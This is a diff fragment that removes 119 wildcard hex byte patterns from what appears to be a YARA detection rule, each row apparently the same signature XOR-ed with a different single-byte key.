-		$s001 = { 01 00 01 00 01 03 ?? ?? 01 03 01 00 01 03 ?? ?? 01 02 01 03 01 05 ?? ?? ?? ?? 01 05 01 03 01 05 ?? ?? ?? ?? 01 04 01 00 01 03 ?? ?? }
-		$s002 = { 02 03 02 03 02 00 ?? ?? 02 00 02 03 02 00 ?? ?? 02 01 02 00 02 06 ?? ?? ?? ?? 02 06 02 00 02 06 ?? ?? ?? ?? 02 07 02 03 02 00 ?? ?? }
-		$s003 = { 03 02 03 02 03 01 ?? ?? 03 01 03 02 03 01 ?? ?? 03 00 03 01 03 07 ?? ?? ?? ?? 03 07 03 01 03 07 ?? ?? ?? ?? 03 06 03 02 03 01 ?? ?? }
-		$s004 = { 04 05 04 05 04 06 ?? ?? 04 06 04 05 04 06 ?? ?? 04 07 04 06 04 00 ?? ?? ?? ?? 04 00 04 06 04 00 ?? ?? ?? ?? 04 01 04 05 04 06 ?? ?? }
-		$s005 = { 05 04 05 04 05 07 ?? ?? 05 07 05 04 05 07 ?? ?? 05 06 05 07 05 01 ?? ?? ?? ?? 05 01 05 07 05 01 ?? ?? ?? ?? 05 00 05 04 05 07 ?? ?? }
-		$s006 = { 06 07 06 07 06 04 ?? ?? 06 04 06 07 06 04 ?? ?? 06 05 06 04 06 02 ?? ?? ?? ?? 06 02 06 04 06 02 ?? ?? ?? ?? 06 03 06 07 06 04 ?? ?? }
-		$s007 = { 07 06 07 06 07 05 ?? ?? 07 05 07 06 07 05 ?? ?? 07 04 07 05 07 03 ?? ?? ?? ?? 07 03 07 05 07 03 ?? ?? ?? ?? 07 02 07 06 07 05 ?? ?? }
-		$s008 = { 08 09 08 09 08 0A ?? ?? 08 0A 08 09 08 0A ?? ?? 08 0B 08 0A 08 0C ?? ?? ?? ?? 08 0C 08 0A 08 0C ?? ?? ?? ?? 08 0D 08 09 08 0A ?? ?? }
-		$s009 = { 09 08 09 08 09 0B ?? ?? 09 0B 09 08 09 0B ?? ?? 09 0A 09 0B 09 0D ?? ?? ?? ?? 09 0D 09 0B 09 0D ?? ?? ?? ?? 09 0C 09 08 09 0B ?? ?? }
-		$s010 = { 0A 0B 0A 0B 0A 08 ?? ?? 0A 08 0A 0B 0A 08 ?? ?? 0A 09 0A 08 0A 0E ?? ?? ?? ?? 0A 0E 0A 08 0A 0E ?? ?? ?? ?? 0A 0F 0A 0B 0A 08 ?? ?? }
-		$s011 = { 0B 0A 0B 0A 0B 09 ?? ?? 0B 09 0B 0A 0B 09 ?? ?? 0B 08 0B 09 0B 0F ?? ?? ?? ?? 0B 0F 0B 09 0B 0F ?? ?? ?? ?? 0B 0E 0B 0A 0B 09 ?? ?? }
-		$s012 = { 0C 0D 0C 0D 0C 0E ?? ?? 0C 0E 0C 0D 0C 0E ?? ?? 0C 0F 0C 0E 0C 08 ?? ?? ?? ?? 0C 08 0C 0E 0C 08 ?? ?? ?? ?? 0C 09 0C 0D 0C 0E ?? ?? }
-		$s013 = { 0D 0C 0D 0C 0D 0F ?? ?? 0D 0F 0D 0C 0D 0F ?? ?? 0D 0E 0D 0F 0D 09 ?? ?? ?? ?? 0D 09 0D 0F 0D 09 ?? ?? ?? ?? 0D 08 0D 0C 0D 0F ?? ?? }
-		$s014 = { 0E 0F 0E 0F 0E 0C ?? ?? 0E 0C 0E 0F 0E 0C ?? ?? 0E 0D 0E 0C 0E 0A ?? ?? ?? ?? 0E 0A 0E 0C 0E 0A ?? ?? ?? ?? 0E 0B 0E 0F 0E 0C ?? ?? }
-		$s015 = { 0F 0E 0F 0E 0F 0D ?? ?? 0F 0D 0F 0E 0F 0D ?? ?? 0F 0C 0F 0D 0F 0B ?? ?? ?? ?? 0F 0B 0F 0D 0F 0B ?? ?? ?? ?? 0F 0A 0F 0E 0F 0D ?? ?? }
-		$s016 = { 10 11 10 11 10 12 ?? ?? 10 12 10 11 10 12 ?? ?? 10 13 10 12 10 14 ?? ?? ?? ?? 10 14 10 12 10 14 ?? ?? ?? ?? 10 15 10 11 10 12 ?? ?? }
-		$s017 = { 11 10 11 10 11 13 ?? ?? 11 13 11 10 11 13 ?? ?? 11 12 11 13 11 15 ?? ?? ?? ?? 11 15 11 13 11 15 ?? ?? ?? ?? 11 14 11 10 11 13 ?? ?? }
-		$s018 = { 12 13 12 13 12 10 ?? ?? 12 10 12 13 12 10 ?? ?? 12 11 12 10 12 16 ?? ?? ?? ?? 12 16 12 10 12 16 ?? ?? ?? ?? 12 17 12 13 12 10 ?? ?? }
-		$s019 = { 13 12 13 12 13 11 ?? ?? 13 11 13 12 13 11 ?? ?? 13 10 13 11 13 17 ?? ?? ?? ?? 13 17 13 11 13 17 ?? ?? ?? ?? 13 16 13 12 13 11 ?? ?? }
-		$s020 = { 14 15 14 15 14 16 ?? ?? 14 16 14 15 14 16 ?? ?? 14 17 14 16 14 10 ?? ?? ?? ?? 14 10 14 16 14 10 ?? ?? ?? ?? 14 11 14 15 14 16 ?? ?? }
-		$s021 = { 15 14 15 14 15 17 ?? ?? 15 17 15 14 15 17 ?? ?? 15 16 15 17 15 11 ?? ?? ?? ?? 15 11 15 17 15 11 ?? ?? ?? ?? 15 10 15 14 15 17 ?? ?? }
-		$s022 = { 16 17 16 17 16 14 ?? ?? 16 14 16 17 16 14 ?? ?? 16 15 16 14 16 12 ?? ?? ?? ?? 16 12 16 14 16 12 ?? ?? ?? ?? 16 13 16 17 16 14 ?? ?? }
-		$s023 = { 17 16 17 16 17 15 ?? ?? 17 15 17 16 17 15 ?? ?? 17 14 17 15 17 13 ?? ?? ?? ?? 17 13 17 15 17 13 ?? ?? ?? ?? 17 12 17 16 17 15 ?? ?? }
-		$s024 = { 18 19 18 19 18 1A ?? ?? 18 1A 18 19 18 1A ?? ?? 18 1B 18 1A 18 1C ?? ?? ?? ?? 18 1C 18 1A 18 1C ?? ?? ?? ?? 18 1D 18 19 18 1A ?? ?? }
-		$s025 = { 19 18 19 18 19 1B ?? ?? 19 1B 19 18 19 1B ?? ?? 19 1A 19 1B 19 1D ?? ?? ?? ?? 19 1D 19 1B 19 1D ?? ?? ?? ?? 19 1C 19 18 19 1B ?? ?? }
-		$s026 = { 1A 1B 1A 1B 1A 18 ?? ?? 1A 18 1A 1B 1A 18 ?? ?? 1A 19 1A 18 1A 1E ?? ?? ?? ?? 1A 1E 1A 18 1A 1E ?? ?? ?? ?? 1A 1F 1A 1B 1A 18 ?? ?? }
-		$s027 = { 1B 1A 1B 1A 1B 19 ?? ?? 1B 19 1B 1A 1B 19 ?? ?? 1B 18 1B 19 1B 1F ?? ?? ?? ?? 1B 1F 1B 19 1B 1F ?? ?? ?? ?? 1B 1E 1B 1A 1B 19 ?? ?? }
-		$s028 = { 1C 1D 1C 1D 1C 1E ?? ?? 1C 1E 1C 1D 1C 1E ?? ?? 1C 1F 1C 1E 1C 18 ?? ?? ?? ?? 1C 18 1C 1E 1C 18 ?? ?? ?? ?? 1C 19 1C 1D 1C 1E ?? ?? }
-		$s029 = { 1D 1C 1D 1C 1D 1F ?? ?? 1D 1F 1D 1C 1D 1F ?? ?? 1D 1E 1D 1F 1D 19 ?? ?? ?? ?? 1D 19 1D 1F 1D 19 ?? ?? ?? ?? 1D 18 1D 1C 1D 1F ?? ?? }
-		$s030 = { 1E 1F 1E 1F 1E 1C ?? ?? 1E 1C 1E 1F 1E 1C ?? ?? 1E 1D 1E 1C 1E 1A ?? ?? ?? ?? 1E 1A 1E 1C 1E 1A ?? ?? ?? ?? 1E 1B 1E 1F 1E 1C ?? ?? }
-		$s031 = { 1F 1E 1F 1E 1F 1D ?? ?? 1F 1D 1F 1E 1F 1D ?? ?? 1F 1C 1F 1D 1F 1B ?? ?? ?? ?? 1F 1B 1F 1D 1F 1B ?? ?? ?? ?? 1F 1A 1F 1E 1F 1D ?? ?? }
-		$s032 = { 20 21 20 21 20 22 ?? ?? 20 22 20 21 20 22 ?? ?? 20 23 20 22 20 24 ?? ?? ?? ?? 20 24 20 22 20 24 ?? ?? ?? ?? 20 25 20 21 20 22 ?? ?? }
-		$s033 = { 21 20 21 20 21 23 ?? ?? 21 23 21 20 21 23 ?? ?? 21 22 21 23 21 25 ?? ?? ?? ?? 21 25 21 23 21 25 ?? ?? ?? ?? 21 24 21 20 21 23 ?? ?? }
-		$s034 = { 22 23 22 23 22 20 ?? ?? 22 20 22 23 22 20 ?? ?? 22 21 22 20 22 26 ?? ?? ?? ?? 22 26 22 20 22 26 ?? ?? ?? ?? 22 27 22 23 22 20 ?? ?? }
-		$s035 = { 23 22 23 22 23 21 ?? ?? 23 21 23 22 23 21 ?? ?? 23 20 23 21 23 27 ?? ?? ?? ?? 23 27 23 21 23 27 ?? ?? ?? ?? 23 26 23 22 23 21 ?? ?? }
-		$s036 = { 24 25 24 25 24 26 ?? ?? 24 26 24 25 24 26 ?? ?? 24 27 24 26 24 20 ?? ?? ?? ?? 24 20 24 26 24 20 ?? ?? ?? ?? 24 21 24 25 24 26 ?? ?? }
-		$s037 = { 25 24 25 24 25 27 ?? ?? 25 27 25 24 25 27 ?? ?? 25 26 25 27 25 21 ?? ?? ?? ?? 25 21 25 27 25 21 ?? ?? ?? ?? 25 20 25 24 25 27 ?? ?? }
-		$s038 = { 26 27 26 27 26 24 ?? ?? 26 24 26 27 26 24 ?? ?? 26 25 26 24 26 22 ?? ?? ?? ?? 26 22 26 24 26 22 ?? ?? ?? ?? 26 23 26 27 26 24 ?? ?? }
-		$s039 = { 27 26 27 26 27 25 ?? ?? 27 25 27 26 27 25 ?? ?? 27 24 27 25 27 23 ?? ?? ?? ?? 27 23 27 25 27 23 ?? ?? ?? ?? 27 22 27 26 27 25 ?? ?? }
-		$s040 = { 28 29 28 29 28 2A ?? ?? 28 2A 28 29 28 2A ?? ?? 28 2B 28 2A 28 2C ?? ?? ?? ?? 28 2C 28 2A 28 2C ?? ?? ?? ?? 28 2D 28 29 28 2A ?? ?? }
-		$s041 = { 29 28 29 28 29 2B ?? ?? 29 2B 29 28 29 2B ?? ?? 29 2A 29 2B 29 2D ?? ?? ?? ?? 29 2D 29 2B 29 2D ?? ?? ?? ?? 29 2C 29 28 29 2B ?? ?? }
-		$s042 = { 2A 2B 2A 2B 2A 28 ?? ?? 2A 28 2A 2B 2A 28 ?? ?? 2A 29 2A 28 2A 2E ?? ?? ?? ?? 2A 2E 2A 28 2A 2E ?? ?? ?? ?? 2A 2F 2A 2B 2A 28 ?? ?? }
-		$s043 = { 2B 2A 2B 2A 2B 29 ?? ?? 2B 29 2B 2A 2B 29 ?? ?? 2B 28 2B 29 2B 2F ?? ?? ?? ?? 2B 2F 2B 29 2B 2F ?? ?? ?? ?? 2B 2E 2B 2A 2B 29 ?? ?? }
-		$s044 = { 2C 2D 2C 2D 2C 2E ?? ?? 2C 2E 2C 2D 2C 2E ?? ?? 2C 2F 2C 2E 2C 28 ?? ?? ?? ?? 2C 28 2C 2E 2C 28 ?? ?? ?? ?? 2C 29 2C 2D 2C 2E ?? ?? }
-		$s045 = { 2D 2C 2D 2C 2D 2F ?? ?? 2D 2F 2D 2C 2D 2F ?? ?? 2D 2E 2D 2F 2D 29 ?? ?? ?? ?? 2D 29 2D 2F 2D 29 ?? ?? ?? ?? 2D 28 2D 2C 2D 2F ?? ?? }
-		$s046 = { 2E 2F 2E 2F 2E 2C ?? ?? 2E 2C 2E 2F 2E 2C ?? ?? 2E 2D 2E 2C 2E 2A ?? ?? ?? ?? 2E 2A 2E 2C 2E 2A ?? ?? ?? ?? 2E 2B 2E 2F 2E 2C ?? ?? }
-		$s047 = { 2F 2E 2F 2E 2F 2D ?? ?? 2F 2D 2F 2E 2F 2D ?? ?? 2F 2C 2F 2D 2F 2B ?? ?? ?? ?? 2F 2B 2F 2D 2F 2B ?? ?? ?? ?? 2F 2A 2F 2E 2F 2D ?? ?? }
-		$s048 = { 30 31 30 31 30 32 ?? ?? 30 32 30 31 30 32 ?? ?? 30 33 30 32 30 34 ?? ?? ?? ?? 30 34 30 32 30 34 ?? ?? ?? ?? 30 35 30 31 30 32 ?? ?? }
-		$s049 = { 31 30 31 30 31 33 ?? ?? 31 33 31 30 31 33 ?? ?? 31 32 31 33 31 35 ?? ?? ?? ?? 31 35 31 33 31 35 ?? ?? ?? ?? 31 34 31 30 31 33 ?? ?? }
-		$s050 = { 32 33 32 33 32 30 ?? ?? 32 30 32 33 32 30 ?? ?? 32 31 32 30 32 36 ?? ?? ?? ?? 32 36 32 30 32 36 ?? ?? ?? ?? 32 37 32 33 32 30 ?? ?? }
-		$s051 = { 33 32 33 32 33 31 ?? ?? 33 31 33 32 33 31 ?? ?? 33 30 33 31 33 37 ?? ?? ?? ?? 33 37 33 31 33 37 ?? ?? ?? ?? 33 36 33 32 33 31 ?? ?? }
-		$s052 = { 34 35 34 35 34 36 ?? ?? 34 36 34 35 34 36 ?? ?? 34 37 34 36 34 30 ?? ?? ?? ?? 34 30 34 36 34 30 ?? ?? ?? ?? 34 31 34 35 34 36 ?? ?? }
-		$s053 = { 35 34 35 34 35 37 ?? ?? 35 37 35 34 35 37 ?? ?? 35 36 35 37 35 31 ?? ?? ?? ?? 35 31 35 37 35 31 ?? ?? ?? ?? 35 30 35 34 35 37 ?? ?? }
-		$s054 = { 36 37 36 37 36 34 ?? ?? 36 34 36 37 36 34 ?? ?? 36 35 36 34 36 32 ?? ?? ?? ?? 36 32 36 34 36 32 ?? ?? ?? ?? 36 33 36 37 36 34 ?? ?? }
-		$s055 = { 37 36 37 36 37 35 ?? ?? 37 35 37 36 37 35 ?? ?? 37 34 37 35 37 33 ?? ?? ?? ?? 37 33 37 35 37 33 ?? ?? ?? ?? 37 32 37 36 37 35 ?? ?? }
-		$s056 = { 38 39 38 39 38 3A ?? ?? 38 3A 38 39 38 3A ?? ?? 38 3B 38 3A 38 3C ?? ?? ?? ?? 38 3C 38 3A 38 3C ?? ?? ?? ?? 38 3D 38 39 38 3A ?? ?? }
-		$s057 = { 39 38 39 38 39 3B ?? ?? 39 3B 39 38 39 3B ?? ?? 39 3A 39 3B 39 3D ?? ?? ?? ?? 39 3D 39 3B 39 3D ?? ?? ?? ?? 39 3C 39 38 39 3B ?? ?? }
-		$s058 = { 3A 3B 3A 3B 3A 38 ?? ?? 3A 38 3A 3B 3A 38 ?? ?? 3A 39 3A 38 3A 3E ?? ?? ?? ?? 3A 3E 3A 38 3A 3E ?? ?? ?? ?? 3A 3F 3A 3B 3A 38 ?? ?? }
-		$s059 = { 3B 3A 3B 3A 3B 39 ?? ?? 3B 39 3B 3A 3B 39 ?? ?? 3B 38 3B 39 3B 3F ?? ?? ?? ?? 3B 3F 3B 39 3B 3F ?? ?? ?? ?? 3B 3E 3B 3A 3B 39 ?? ?? }
-		$s060 = { 3C 3D 3C 3D 3C 3E ?? ?? 3C 3E 3C 3D 3C 3E ?? ?? 3C 3F 3C 3E 3C 38 ?? ?? ?? ?? 3C 38 3C 3E 3C 38 ?? ?? ?? ?? 3C 39 3C 3D 3C 3E ?? ?? }
-		$s061 = { 3D 3C 3D 3C 3D 3F ?? ?? 3D 3F 3D 3C 3D 3F ?? ?? 3D 3E 3D 3F 3D 39 ?? ?? ?? ?? 3D 39 3D 3F 3D 39 ?? ?? ?? ?? 3D 38 3D 3C 3D 3F ?? ?? }
-		$s062 = { 3E 3F 3E 3F 3E 3C ?? ?? 3E 3C 3E 3F 3E 3C ?? ?? 3E 3D 3E 3C 3E 3A ?? ?? ?? ?? 3E 3A 3E 3C 3E 3A ?? ?? ?? ?? 3E 3B 3E 3F 3E 3C ?? ?? }
-		$s063 = { 3F 3E 3F 3E 3F 3D ?? ?? 3F 3D 3F 3E 3F 3D ?? ?? 3F 3C 3F 3D 3F 3B ?? ?? ?? ?? 3F 3B 3F 3D 3F 3B ?? ?? ?? ?? 3F 3A 3F 3E 3F 3D ?? ?? }
-		$s064 = { 40 41 40 41 40 42 ?? ?? 40 42 40 41 40 42 ?? ?? 40 43 40 42 40 44 ?? ?? ?? ?? 40 44 40 42 40 44 ?? ?? ?? ?? 40 45 40 41 40 42 ?? ?? }
-		$s065 = { 41 40 41 40 41 43 ?? ?? 41 43 41 40 41 43 ?? ?? 41 42 41 43 41 45 ?? ?? ?? ?? 41 45 41 43 41 45 ?? ?? ?? ?? 41 44 41 40 41 43 ?? ?? }
-		$s066 = { 42 43 42 43 42 40 ?? ?? 42 40 42 43 42 40 ?? ?? 42 41 42 40 42 46 ?? ?? ?? ?? 42 46 42 40 42 46 ?? ?? ?? ?? 42 47 42 43 42 40 ?? ?? }
-		$s067 = { 43 42 43 42 43 41 ?? ?? 43 41 43 42 43 41 ?? ?? 43 40 43 41 43 47 ?? ?? ?? ?? 43 47 43 41 43 47 ?? ?? ?? ?? 43 46 43 42 43 41 ?? ?? }
-		$s068 = { 44 45 44 45 44 46 ?? ?? 44 46 44 45 44 46 ?? ?? 44 47 44 46 44 40 ?? ?? ?? ?? 44 40 44 46 44 40 ?? ?? ?? ?? 44 41 44 45 44 46 ?? ?? }
-		$s069 = { 45 44 45 44 45 47 ?? ?? 45 47 45 44 45 47 ?? ?? 45 46 45 47 45 41 ?? ?? ?? ?? 45 41 45 47 45 41 ?? ?? ?? ?? 45 40 45 44 45 47 ?? ?? }
-		$s070 = { 46 47 46 47 46 44 ?? ?? 46 44 46 47 46 44 ?? ?? 46 45 46 44 46 42 ?? ?? ?? ?? 46 42 46 44 46 42 ?? ?? ?? ?? 46 43 46 47 46 44 ?? ?? }
-		$s071 = { 47 46 47 46 47 45 ?? ?? 47 45 47 46 47 45 ?? ?? 47 44 47 45 47 43 ?? ?? ?? ?? 47 43 47 45 47 43 ?? ?? ?? ?? 47 42 47 46 47 45 ?? ?? }
-		$s072 = { 48 49 48 49 48 4A ?? ?? 48 4A 48 49 48 4A ?? ?? 48 4B 48 4A 48 4C ?? ?? ?? ?? 48 4C 48 4A 48 4C ?? ?? ?? ?? 48 4D 48 49 48 4A ?? ?? }
-		$s073 = { 49 48 49 48 49 4B ?? ?? 49 4B 49 48 49 4B ?? ?? 49 4A 49 4B 49 4D ?? ?? ?? ?? 49 4D 49 4B 49 4D ?? ?? ?? ?? 49 4C 49 48 49 4B ?? ?? }
-		$s074 = { 4A 4B 4A 4B 4A 48 ?? ?? 4A 48 4A 4B 4A 48 ?? ?? 4A 49 4A 48 4A 4E ?? ?? ?? ?? 4A 4E 4A 48 4A 4E ?? ?? ?? ?? 4A 4F 4A 4B 4A 48 ?? ?? }
-		$s075 = { 4B 4A 4B 4A 4B 49 ?? ?? 4B 49 4B 4A 4B 49 ?? ?? 4B 48 4B 49 4B 4F ?? ?? ?? ?? 4B 4F 4B 49 4B 4F ?? ?? ?? ?? 4B 4E 4B 4A 4B 49 ?? ?? }
-		$s076 = { 4C 4D 4C 4D 4C 4E ?? ?? 4C 4E 4C 4D 4C 4E ?? ?? 4C 4F 4C 4E 4C 48 ?? ?? ?? ?? 4C 48 4C 4E 4C 48 ?? ?? ?? ?? 4C 49 4C 4D 4C 4E ?? ?? }
-		$s077 = { 4D 4C 4D 4C 4D 4F ?? ?? 4D 4F 4D 4C 4D 4F ?? ?? 4D 4E 4D 4F 4D 49 ?? ?? ?? ?? 4D 49 4D 4F 4D 49 ?? ?? ?? ?? 4D 48 4D 4C 4D 4F ?? ?? }
-		$s078 = { 4E 4F 4E 4F 4E 4C ?? ?? 4E 4C 4E 4F 4E 4C ?? ?? 4E 4D 4E 4C 4E 4A ?? ?? ?? ?? 4E 4A 4E 4C 4E 4A ?? ?? ?? ?? 4E 4B 4E 4F 4E 4C ?? ?? }
-		$s079 = { 4F 4E 4F 4E 4F 4D ?? ?? 4F 4D 4F 4E 4F 4D ?? ?? 4F 4C 4F 4D 4F 4B ?? ?? ?? ?? 4F 4B 4F 4D 4F 4B ?? ?? ?? ?? 4F 4A 4F 4E 4F 4D ?? ?? }
-		$s080 = { 50 51 50 51 50 52 ?? ?? 50 52 50 51 50 52 ?? ?? 50 53 50 52 50 54 ?? ?? ?? ?? 50 54 50 52 50 54 ?? ?? ?? ?? 50 55 50 51 50 52 ?? ?? }
-		$s081 = { 51 50 51 50 51 53 ?? ?? 51 53 51 50 51 53 ?? ?? 51 52 51 53 51 55 ?? ?? ?? ?? 51 55 51 53 51 55 ?? ?? ?? ?? 51 54 51 50 51 53 ?? ?? }
-		$s082 = { 52 53 52 53 52 50 ?? ?? 52 50 52 53 52 50 ?? ?? 52 51 52 50 52 56 ?? ?? ?? ?? 52 56 52 50 52 56 ?? ?? ?? ?? 52 57 52 53 52 50 ?? ?? }
-		$s083 = { 53 52 53 52 53 51 ?? ?? 53 51 53 52 53 51 ?? ?? 53 50 53 51 53 57 ?? ?? ?? ?? 53 57 53 51 53 57 ?? ?? ?? ?? 53 56 53 52 53 51 ?? ?? }
-		$s084 = { 54 55 54 55 54 56 ?? ?? 54 56 54 55 54 56 ?? ?? 54 57 54 56 54 50 ?? ?? ?? ?? 54 50 54 56 54 50 ?? ?? ?? ?? 54 51 54 55 54 56 ?? ?? }
-		$s085 = { 55 54 55 54 55 57 ?? ?? 55 57 55 54 55 57 ?? ?? 55 56 55 57 55 51 ?? ?? ?? ?? 55 51 55 57 55 51 ?? ?? ?? ?? 55 50 55 54 55 57 ?? ?? }
-		$s086 = { 56 57 56 57 56 54 ?? ?? 56 54 56 57 56 54 ?? ?? 56 55 56 54 56 52 ?? ?? ?? ?? 56 52 56 54 56 52 ?? ?? ?? ?? 56 53 56 57 56 54 ?? ?? }
-		$s087 = { 57 56 57 56 57 55 ?? ?? 57 55 57 56 57 55 ?? ?? 57 54 57 55 57 53 ?? ?? ?? ?? 57 53 57 55 57 53 ?? ?? ?? ?? 57 52 57 56 57 55 ?? ?? }
-		$s088 = { 58 59 58 59 58 5A ?? ?? 58 5A 58 59 58 5A ?? ?? 58 5B 58 5A 58 5C ?? ?? ?? ?? 58 5C 58 5A 58 5C ?? ?? ?? ?? 58 5D 58 59 58 5A ?? ?? }
-		$s089 = { 59 58 59 58 59 5B ?? ?? 59 5B 59 58 59 5B ?? ?? 59 5A 59 5B 59 5D ?? ?? ?? ?? 59 5D 59 5B 59 5D ?? ?? ?? ?? 59 5C 59 58 59 5B ?? ?? }
-		$s090 = { 5A 5B 5A 5B 5A 58 ?? ?? 5A 58 5A 5B 5A 58 ?? ?? 5A 59 5A 58 5A 5E ?? ?? ?? ?? 5A 5E 5A 58 5A 5E ?? ?? ?? ?? 5A 5F 5A 5B 5A 58 ?? ?? }
-		$s091 = { 5B 5A 5B 5A 5B 59 ?? ?? 5B 59 5B 5A 5B 59 ?? ?? 5B 58 5B 59 5B 5F ?? ?? ?? ?? 5B 5F 5B 59 5B 5F ?? ?? ?? ?? 5B 5E 5B 5A 5B 59 ?? ?? }
-		$s092 = { 5C 5D 5C 5D 5C 5E ?? ?? 5C 5E 5C 5D 5C 5E ?? ?? 5C 5F 5C 5E 5C 58 ?? ?? ?? ?? 5C 58 5C 5E 5C 58 ?? ?? ?? ?? 5C 59 5C 5D 5C 5E ?? ?? }
-		$s093 = { 5D 5C 5D 5C 5D 5F ?? ?? 5D 5F 5D 5C 5D 5F ?? ?? 5D 5E 5D 5F 5D 59 ?? ?? ?? ?? 5D 59 5D 5F 5D 59 ?? ?? ?? ?? 5D 58 5D 5C 5D 5F ?? ?? }
-		$s094 = { 5E 5F 5E 5F 5E 5C ?? ?? 5E 5C 5E 5F 5E 5C ?? ?? 5E 5D 5E 5C 5E 5A ?? ?? ?? ?? 5E 5A 5E 5C 5E 5A ?? ?? ?? ?? 5E 5B 5E 5F 5E 5C ?? ?? }
-		$s095 = { 5F 5E 5F 5E 5F 5D ?? ?? 5F 5D 5F 5E 5F 5D ?? ?? 5F 5C 5F 5D 5F 5B ?? ?? ?? ?? 5F 5B 5F 5D 5F 5B ?? ?? ?? ?? 5F 5A 5F 5E 5F 5D ?? ?? }
-		$s096 = { 60 61 60 61 60 62 ?? ?? 60 62 60 61 60 62 ?? ?? 60 63 60 62 60 64 ?? ?? ?? ?? 60 64 60 62 60 64 ?? ?? ?? ?? 60 65 60 61 60 62 ?? ?? }
-		$s097 = { 61 60 61 60 61 63 ?? ?? 61 63 61 60 61 63 ?? ?? 61 62 61 63 61 65 ?? ?? ?? ?? 61 65 61 63 61 65 ?? ?? ?? ?? 61 64 61 60 61 63 ?? ?? }
-		$s098 = { 62 63 62 63 62 60 ?? ?? 62 60 62 63 62 60 ?? ?? 62 61 62 60 62 66 ?? ?? ?? ?? 62 66 62 60 62 66 ?? ?? ?? ?? 62 67 62 63 62 60 ?? ?? }
-		$s099 = { 63 62 63 62 63 61 ?? ?? 63 61 63 62 63 61 ?? ?? 63 60 63 61 63 67 ?? ?? ?? ?? 63 67 63 61 63 67 ?? ?? ?? ?? 63 66 63 62 63 61 ?? ?? }
-		$s100 = { 64 65 64 65 64 66 ?? ?? 64 66 64 65 64 66 ?? ?? 64 67 64 66 64 60 ?? ?? ?? ?? 64 60 64 66 64 60 ?? ?? ?? ?? 64 61 64 65 64 66 ?? ?? }
-		$s101 = { 65 64 65 64 65 67 ?? ?? 65 67 65 64 65 67 ?? ?? 65 66 65 67 65 61 ?? ?? ?? ?? 65 61 65 67 65 61 ?? ?? ?? ?? 65 60 65 64 65 67 ?? ?? }
-		$s102 = { 66 67 66 67 66 64 ?? ?? 66 64 66 67 66 64 ?? ?? 66 65 66 64 66 62 ?? ?? ?? ?? 66 62 66 64 66 62 ?? ?? ?? ?? 66 63 66 67 66 64 ?? ?? }
-		$s103 = { 67 66 67 66 67 65 ?? ?? 67 65 67 66 67 65 ?? ?? 67 64 67 65 67 63 ?? ?? ?? ?? 67 63 67 65 67 63 ?? ?? ?? ?? 67 62 67 66 67 65 ?? ?? }
-		$s104 = { 68 69 68 69 68 6A ?? ?? 68 6A 68 69 68 6A ?? ?? 68 6B 68 6A 68 6C ?? ?? ?? ?? 68 6C 68 6A 68 6C ?? ?? ?? ?? 68 6D 68 69 68 6A ?? ?? }
-		$s105 = { 69 68 69 68 69 6B ?? ?? 69 6B 69 68 69 6B ?? ?? 69 6A 69 6B 69 6D ?? ?? ?? ?? 69 6D 69 6B 69 6D ?? ?? ?? ?? 69 6C 69 68 69 6B ?? ?? }
-		$s106 = { 6A 6B 6A 6B 6A 68 ?? ?? 6A 68 6A 6B 6A 68 ?? ?? 6A 69 6A 68 6A 6E ?? ?? ?? ?? 6A 6E 6A 68 6A 6E ?? ?? ?? ?? 6A 6F 6A 6B 6A 68 ?? ?? }
-		$s107 = { 6B 6A 6B 6A 6B 69 ?? ?? 6B 69 6B 6A 6B 69 ?? ?? 6B 68 6B 69 6B 6F ?? ?? ?? ?? 6B 6F 6B 69 6B 6F ?? ?? ?? ?? 6B 6E 6B 6A 6B 69 ?? ?? }
-		$s108 = { 6C 6D 6C 6D 6C 6E ?? ?? 6C 6E 6C 6D 6C 6E ?? ?? 6C 6F 6C 6E 6C 68 ?? ?? ?? ?? 6C 68 6C 6E 6C 68 ?? ?? ?? ?? 6C 69 6C 6D 6C 6E ?? ?? }
-		$s109 = { 6D 6C 6D 6C 6D 6F ?? ?? 6D 6F 6D 6C 6D 6F ?? ?? 6D 6E 6D 6F 6D 69 ?? ?? ?? ?? 6D 69 6D 6F 6D 69 ?? ?? ?? ?? 6D 68 6D 6C 6D 6F ?? ?? }
-		$s110 = { 6E 6F 6E 6F 6E 6C ?? ?? 6E 6C 6E 6F 6E 6C ?? ?? 6E 6D 6E 6C 6E 6A ?? ?? ?? ?? 6E 6A 6E 6C 6E 6A ?? ?? ?? ?? 6E 6B 6E 6F 6E 6C ?? ?? }
-		$s111 = { 6F 6E 6F 6E 6F 6D ?? ?? 6F 6D 6F 6E 6F 6D ?? ?? 6F 6C 6F 6D 6F 6B ?? ?? ?? ?? 6F 6B 6F 6D 6F 6B ?? ?? ?? ?? 6F 6A 6F 6E 6F 6D ?? ?? }
-		$s112 = { 70 71 70 71 70 72 ?? ?? 70 72 70 71 70 72 ?? ?? 70 73 70 72 70 74 ?? ?? ?? ?? 70 74 70 72 70 74 ?? ?? ?? ?? 70 75 70 71 70 72 ?? ?? }
-		$s113 = { 71 70 71 70 71 73 ?? ?? 71 73 71 70 71 73 ?? ?? 71 72 71 73 71 75 ?? ?? ?? ?? 71 75 71 73 71 75 ?? ?? ?? ?? 71 74 71 70 71 73 ?? ?? }
-		$s114 = { 72 73 72 73 72 70 ?? ?? 72 70 72 73 72 70 ?? ?? 72 71 72 70 72 76 ?? ?? ?? ?? 72 76 72 70 72 76 ?? ?? ?? ?? 72 77 72 73 72 70 ?? ?? }
-		$s115 = { 73 72 73 72 73 71 ?? ?? 73 71 73 72 73 71 ?? ?? 73 70 73 71 73 77 ?? ?? ?? ?? 73 77 73 71 73 77 ?? ?? ?? ?? 73 76 73 72 73 71 ?? ?? }
-		$s116 = { 74 75 74 75 74 76 ?? ?? 74 76 74 75 74 76 ?? ?? 74 77 74 76 74 70 ?? ?? ?? ?? 74 70 74 76 74 70 ?? ?? ?? ?? 74 71 74 75 74 76 ?? ?? }
-		$s117 = { 75 74 75 74 75 77 ?? ?? 75 77 75 74 75 77 ?? ?? 75 76 75 77 75 71 ?? ?? ?? ?? 75 71 75 77 75 71 ?? ?? ?? ?? 75 70 75 74 75 77 ?? ?? }
-		$s118 = { 76 77 76 77 76 74 ?? ?? 76 74 76 77 76 74 ?? ?? 76 75 76 74 76 72 ?? ?? ?? ?? 76 72 76 74 76 72 ?? ?? ?? ?? 76 73 76 77 76 74 ?? ?? }
-		$s119 = { 77 76 77 76 77 75 ?? ?? 77 75 77 76 77 75 ?? ?? 77 74 77 75 77 73 ?? ?? ?? ?? 77 73 77 75 77 73 ?? ?? ?? ?? 77 72 77 76 77 75 ?? ?? }
